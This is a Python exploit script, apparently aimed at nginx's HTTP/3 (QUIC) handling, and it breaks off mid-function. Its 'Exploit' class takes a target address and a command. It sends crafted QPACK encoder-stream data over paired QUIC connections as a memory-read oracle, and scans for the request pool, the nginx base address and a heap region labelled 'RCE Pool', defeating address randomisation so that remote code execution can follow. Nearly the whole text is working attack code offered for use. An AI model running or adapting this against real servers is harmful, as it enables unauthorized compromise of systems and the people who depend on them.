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| #!/usr/bin/env python3
import asyncio
from contextlib import asynccontextmanager
from dataclasses import dataclass
import ipaddress
import socket
import ssl
import struct
import sys
import pylsqpack
from aioquic.buffer import Buffer
from aioquic.asyncio.client import connect
from aioquic.asyncio.protocol import QuicConnectionProtocol
from aioquic.h3.connection import H3_ALPN
from aioquic.quic.configuration import QuicConfiguration
from aioquic.quic.connection import QuicConnection
from aioquic.quic.events import PingAcknowledged, StreamDataReceived
from aioquic.quic.packet import pull_quic_header
IDLE_TIMEOUT = 2.0
PROBE_TIMEOUT = 1.5
POOL_PROBE_TIMEOUT = 1.8
SCAN_START = 0x550000000000
SCAN_STOP = 0x700000000000
SCAN_STEP = 0x400000000
LABEL_WIDTH = 14
class Protocol(QuicConnectionProtocol):
def __init__(self, *args, **kwargs):
super().__init__(*args, **kwargs)
self.buf = b""
self.ping_acknowledged = asyncio.Event()
self.acknowledged_pings = set()
def quic_event_received(self, event):
if isinstance(event, StreamDataReceived):
self.buf += event.data
elif isinstance(event, PingAcknowledged):
self.acknowledged_pings.add(event.uid)
self.ping_acknowledged.set()
async def wait_connected(self):
try:
await super().wait_connected()
except asyncio.CancelledError:
waiter = self._connected_waiter
self._connected_waiter = None
if waiter is not None:
waiter.cancel()
raise
class PairSocket(asyncio.DatagramProtocol):
def __init__(self, cid_length):
self.cid_length = cid_length
self.protocols = []
def datagram_received(self, data, addr):
try:
destination = pull_quic_header(
Buffer(data=data), host_cid_length=self.cid_length
).destination_cid
except ValueError:
return
for protocol in self.protocols:
if any(cid.cid == destination for cid in protocol._quic._host_cids):
protocol.datagram_received(data, addr)
return
class PairTransport:
def __init__(self, transport):
self.transport = transport
def sendto(self, data, addr=None):
self.transport.sendto(data, addr)
def close(self):
pass
@dataclass
class ProbePlan:
pool: int
base: int
rce_pool: int
heap_floor: int
heap_ceiling: int
def quic_config():
cfg = QuicConfiguration(is_client=True, alpn_protocols=H3_ALPN)
cfg.verify_mode = ssl.CERT_NONE
cfg.idle_timeout = IDLE_TIMEOUT
return cfg
def pref(v, bits, first):
mask = (1 << bits) - 1
if v < mask:
return bytes([first | v])
out = [first | mask]
v -= mask
while v >= 128:
out.append((v & 127) | 128)
v >>= 7
out.append(v)
return bytes(out)
def vi(v):
return bytes([v]) if v < 64 else bytes([0x40 | (v >> 8), v & 255])
def hold(proto, out):
old = proto._transport.sendto
def send(data, addr=None):
out.append((old, data, addr))
proto._transport.sendto = send
return old
def flush(out, copies=1):
for old, data, addr in out:
for _ in range(copies):
old(data) if addr is None else old(data, addr)
@asynccontextmanager
async def raw_pair(host, port):
configs = [quic_config(), quic_config()]
for config in configs:
config.server_name = host
config.idle_timeout = 3.0
socket_protocol = PairSocket(configs[0].connection_id_length)
udp_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
udp_socket.bind(("", 0))
transport, _ = await asyncio.get_running_loop().create_datagram_endpoint(
lambda: socket_protocol,
sock=udp_socket,
)
protocols = []
try:
for config in configs:
protocol = Protocol(QuicConnection(configuration=config))
protocol.connection_made(PairTransport(transport))
socket_protocol.protocols.append(protocol)
protocols.append(protocol)
protocol.connect((host, port))
await protocol.wait_connected()
yield protocols
finally:
for protocol in protocols:
if protocol._timer is not None:
protocol._timer.cancel()
protocol._timer = None
if protocol._transmit_task is not None:
protocol._transmit_task.cancel()
protocol._transmit_task = None
protocol._closed.set()
transport.close()
await asyncio.sleep(0)
def rce_close(protocol):
timer = getattr(protocol, "_timer", None)
if timer is not None:
timer.cancel()
protocol._timer = None
task = getattr(protocol, "_transmit_task", None)
if task is not None:
task.cancel()
protocol._transmit_task = None
protocol.transmit = lambda: None
protocol._closed.set()
protocol._transport.close()
@asynccontextmanager
async def rce_connection(host, port):
config = quic_config()
config.idle_timeout = 3.0
manager = connect(
host,
port,
configuration=config,
create_protocol=Protocol,
wait_connected=True,
)
protocol = await manager.__aenter__()
try:
yield protocol
finally:
rce_close(protocol)
await asyncio.sleep(0)
await manager.__aexit__(None, None, None)
def emit(text):
print(text, end="", flush=True)
def status(prefix, label, text):
emit(f"{prefix} {label:<{LABEL_WIDTH}}: {text}\n")
def progress(label, done, total, every=64):
if done == 1 or done == total or done % every == 0:
status("[*]", label, f"{done}/{total}")
def show_plan(plan):
status("[+]", "Request Pool", f"{plan.pool:#018x}")
status("[+]", "Nginx Base", f"{plan.base:#018x}")
status("[+]", "RCE Pool", f"{plan.rce_pool:#018x}")
status("[+]", "Heap Window",
f"{plan.heap_floor:#018x}-{plan.heap_ceiling:#018x}")
class Exploit:
def __init__(self, target_ip, target_port, cmd):
self.host = target_ip
self.port = target_port
self.cmd = cmd
encoder = pylsqpack.Encoder()
cap = encoder.apply_settings(4096, 16)
headers = [
(b":method", b"GET"),
(b":scheme", b"https"),
(b":authority", target_ip.encode()),
(b":path", b"/"),
(b"x-test", b"A" * 20),
]
encoder.encode(4, headers)
unblock, block = encoder.encode(0, headers)
self.breq = b"\x01" + vi(len(block)) + block
self.unblock = b"\x02" + cap + unblock
self.generation = 0
self.anchor_attempt = 0
self.anchor_warmed = False
self.barrier_uid = 0x9000
async def probe(self, addr):
try:
return await asyncio.wait_for(self._probe_impl(addr), PROBE_TIMEOUT)
except (asyncio.TimeoutError, Exception):
await asyncio.sleep(0.08)
return False
async def _probe_impl(self, addr):
pay = struct.pack("<QQ", addr, addr + 0x1000)
try:
async with raw_pair(self.host, self.port) as (a, v):
qa, qv, held = a._quic, v._quic, []
oa, ov = hold(a, held), hold(v, held)
qa.send_stream_data(2, b"\x00\x04\x00")
qa.send_stream_data(
6,
b"\x02" + pref(4096, 5, 0x20) + b"\xc0"
+ pref(1, 7, 0) + b"X" + b"\xc0"
+ pref(16, 7, 0),
True,
)
a.transmit()
qv.send_stream_data(2, b"\x00\x04\x00")
qv.send_stream_data(0, self.breq)
v.transmit()
qa.send_stream_data(
10, b"\x02\xc0" + pref(16, 7, 0) + pay, False
)
a.transmit()
a._transport.sendto, v._transport.sendto = oa, ov
flush(held)
await asyncio.sleep(0.02)
qv.send_stream_data(6, self.unblock, False)
v.transmit()
await asyncio.sleep(0.12)
return b"hello world" in v.buf
except Exception:
await asyncio.sleep(0.08)
return False
async def pool_probe(self, addr):
try:
return await asyncio.wait_for(
self._pool_probe_impl(addr), POOL_PROBE_TIMEOUT
)
except (asyncio.TimeoutError, Exception):
await asyncio.sleep(0.08)
return False
async def _pool_probe_impl(self, addr):
pay = struct.pack("<QQ", addr, addr)
try:
async with raw_pair(self.host, self.port) as (a, v):
qa, qv, held = a._quic, v._quic, []
oa, ov = hold(a, held), hold(v, held)
qa.send_stream_data(2, b"\x00\x04\x00")
qa.send_stream_data(
6,
b"\x02" + pref(4096, 5, 0x20) + b"\xc0"
+ pref(1, 7, 0) + b"X" + b"\xc0"
+ pref(16, 7, 0),
True,
)
a.transmit()
qv.send_stream_data(2, b"\x00\x04\x00")
qv.send_stream_data(0, self.breq)
v.transmit()
qa.send_stream_data(
10, b"\x02\xc0" + pref(16, 7, 0) + pay, False
)
a.transmit()
a._transport.sendto, v._transport.sendto = oa, ov
flush(held, 2)
await asyncio.sleep(0.02)
qv.send_stream_data(6, self.unblock, False)
v.transmit()
await asyncio.sleep(0.18)
return b"hello world" in v.buf
except Exception:
await asyncio.sleep(0.08)
return False
async def votes(self, check, addr, need=4, total=5):
n = 0
for i in range(total):
if await check(addr):
n += 1
if n >= need:
return True
if n + total - i - 1 < need:
return False
return False
async def reliable(self, check, addr):
score = 0
while -12 < score < 12:
score += 2 if await check(addr) else -1
return score > 0
async def leak_pool(self, check_page, lo_ok=0,
hi_ok=0xffffffffffff, label="Pool Leak"):
start, stop, step = SCAN_START, SCAN_STOP, SCAN_STEP
if lo_ok != 0 or hi_ok != 0xffffffffffff:
start = max(SCAN_START, (max(0, lo_ok) // step) * step)
stop = min(SCAN_STOP, ((hi_ok + step - 1) // step) * step)
scan_worst = ((stop - start) // step) + 1
status("[*]", label, f"scanning {start:#018x}..{stop:#018x}")
while True:
actual = 0
x = start
while x <= stop:
actual += 1
progress(label, actual, scan_worst)
if (await self.pool_probe(x)
and await self.votes(self.pool_probe, x, 3, 6)
and await self.reliable(self.pool_probe, x)):
hit = x
status("[*]", label, f"candidate {hit:#018x}")
while (
hit - step >= start
and await self.reliable(self.pool_probe, hit - step)
):
hit -= step
while True:
lo, hi = hit - step, hit
while hi - lo > 0x1000:
actual += 1
mid = ((lo + hi) // 2) & ~0xfff
if await self.reliable(self.pool_probe, mid):
hi = mid
else:
lo = mid
if max(lo_ok, start) <= hi <= hi_ok:
page = (not check_page
or await self.reliable(self.probe, hi))
if (
check_page
and not page
and await self.reliable(self.pool_probe, hi)
and not await self.reliable(self.pool_probe, lo)
):
page = (await self.reliable(self.probe, hi)
or await self.reliable(self.probe, hi))
if page:
status("[+]", label, f"{hi:#018x}")
return hi, scan_worst + 22, actual
if not await self.reliable(self.pool_probe, hit):
break
x += step
status("[*]", label, "retry")
async def find_base(self, pool):
async def mapped(addr):
score = 0
while -15 < score < 17:
score += 3 if await self.probe(addr) else -1
return score > 0
step = 0x80000
x = (pool & ~0xfff) - 0x400000
limit = pool - 0x80000000
worst = ((x - limit) // step) + 1
actual = 0
status("[*]", "Nginx Leak", f"scanning {x:#018x}..{limit:#018x}")
while x > limit:
actual += 1
progress("Nginx Leak", actual, worst)
if await self.probe(x):
hit = x
status("[*]", "Nginx Leak", f"candidate {hit:#018x}")
score = 0
while -2 < score < 16:
score += 3 if await self.probe(hit) else -1
if (
score >= 16
and await mapped(hit)
and not await mapped(hit + step)
):
lo, hi = hit, hit + 0xf2000
while hi - lo > 0x1000:
mid = ((lo + hi) // 2) & ~0xfff
if await mapped(mid):
lo = mid
else:
hi = mid
top = lo
if (
await mapped(top)
and not await mapped(top - 0xf2000)
and await mapped(top - 0xf1000)
and await mapped(top - 0x80000)
and await mapped(top - 0x1000)
and not await mapped(top + 0x1000)
):
base = top - 0x26c000
status("[+]", "Nginx Base", f"{base:#018x}")
return base, worst, actual
status("[*]", "Nginx Leak",
f"rejected {top - 0x26c000:#018x}")
x = hit - step
continue
x -= step
await asyncio.sleep(0.02)
raise RuntimeError("nginx base scan failed")
async def reset_worker(self):
await self.probe(0x414141410000)
await asyncio.sleep(0.3)
await self.probe(0x414141410000)
await asyncio.sleep(0.6)
async def address_probe(self):
await self.reset_worker()
pool, pworst, pactual = await self.leak_pool(
True, label="Pool Leak"
)
status("[*]", "Pool Leak", f"probes {pactual}/{pworst}")
attempt = 0
while True:
attempt += 1
await self.reset_worker()
try:
base, bworst, bactual = await self.find_base(pool)
break
except RuntimeError:
status("[!]", "Nginx Leak", f"attempt {attempt} failed")
status("[*]", "Nginx Leak", f"probes {bactual}/{bworst}")
await self.reset_worker()
rce_pool, rworst, ractual = await self.leak_pool(
False, base + 0x269000, base + 0x80000000,
"RCE Pool"
)
heap_floor = rce_pool & ~0xfff
heap_ceiling = heap_floor + 0x1000
status("[*]", "RCE Pool", f"probes {ractual}/{rworst}")
return ProbePlan(
pool, base, rce_pool, heap_floor, heap_ceiling,
)
def _next_barrier_uid(self):
self.barrier_uid = 0x9000 + (
(self.barrier_uid - 0x8fff) & 0xfff
)
return self.barrier_uid
async def _synchronize(self, protocol, uid):
protocol.ping_acknowledged.clear()
protocol._quic.send_ping(uid)
protocol.transmit()
|
